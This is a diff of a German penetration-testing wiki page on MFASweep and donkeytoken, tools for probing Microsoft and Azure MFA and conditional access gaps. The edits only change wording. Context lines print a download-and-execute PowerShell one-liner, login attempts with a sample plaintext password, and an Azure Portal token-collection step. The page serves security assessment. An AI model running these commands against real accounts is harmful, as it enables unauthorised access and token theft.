-MFASweep ist ein PowerShell-Skript, das versucht, **sich mit einem bereitgestellten Satz von Anmeldeinformationen bei verschiedenen Microsoft-Diensten anzumelden und zu überprüfen, ob MFA aktiviert ist**. Je nachdem, wie die bedingten Zugriffsrichtlinien und andere Einstellungen zur Multi-Faktor-Authentifizierung konfiguriert sind, können einige Protokolle als Einzelfaktor verbleiben. Es gibt auch eine zusätzliche Überprüfung der ADFS-Konfigurationen und kann versuchen, sich beim lokalen ADFS-Server anzumelden, wenn dieser erkannt wird.
+MFASweep ist ein PowerShell-Skript, das versucht, **sich mit einem bereitgestellten Satz von Anmeldeinformationen bei verschiedenen Microsoft-Diensten anzumelden und zu überprüfen, ob MFA aktiviert ist**. Je nachdem, wie die bedingten Zugriffsrichtlinien und andere Einstellungen zur Multi-Faktor-Authentifizierung konfiguriert sind, können einige Protokolle als Einzel-Faktor verbleiben. Es gibt auch eine zusätzliche Überprüfung der ADFS-Konfigurationen und kann versuchen, sich beim lokalen ADFS-Server anzumelden, wenn dieser erkannt wird.
 ```bash
 Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
 Invoke-MFASweep -Username <username> -Password <pass>
@@ -143,7 +143,7 @@ Dieses Tool hat dabei geholfen, MFA-Umgehungen zu identifizieren und dann APIs i
 ```
 ### [donkeytoken](https://github.com/silverhack/donkeytoken)
 
-Donkey token ist eine Sammlung von Funktionen, die Sicherheitsberatern helfen sollen, Conditional Access Policies zu validieren, Tests für 2FA-aktivierte Microsoft-Portale durchzuführen usw.
+Donkey token ist eine Sammlung von Funktionen, die Sicherheitsberatern helfen sollen, die Conditional Access Policies zu validieren, Tests für 2FA-aktivierte Microsoft-Portale durchzuführen usw.
 
 <pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
 </strong><strong>Import-Module '.\donkeytoken' -Force
@@ -156,7 +156,7 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
 $cred = New-Object System.Management.Automation.PSCredential($username, $password)
 Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
 ```
-Da das **Azure** **Portal** **nicht eingeschränkt** ist, ist es möglich, ein **Token vom Portal-Endpunkt zu sammeln, um auf jeden Dienst zuzugreifen, der durch die vorherige Ausführung erkannt wurde**. In diesem Fall wurde Sharepoint identifiziert, und ein Token zum Zugriff darauf wird angefordert:
+Da das **Azure** **Portal** **nicht eingeschränkt** ist, ist es möglich, **ein Token vom Portal-Endpunkt zu sammeln, um auf jeden Dienst zuzugreifen, der durch die vorherige Ausführung erkannt wurde**. In diesem Fall wurde Sharepoint identifiziert, und ein Token zum Zugriff darauf wird angefordert:
 ```bash
 $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
 Read-JWTtoken -token $token.access_token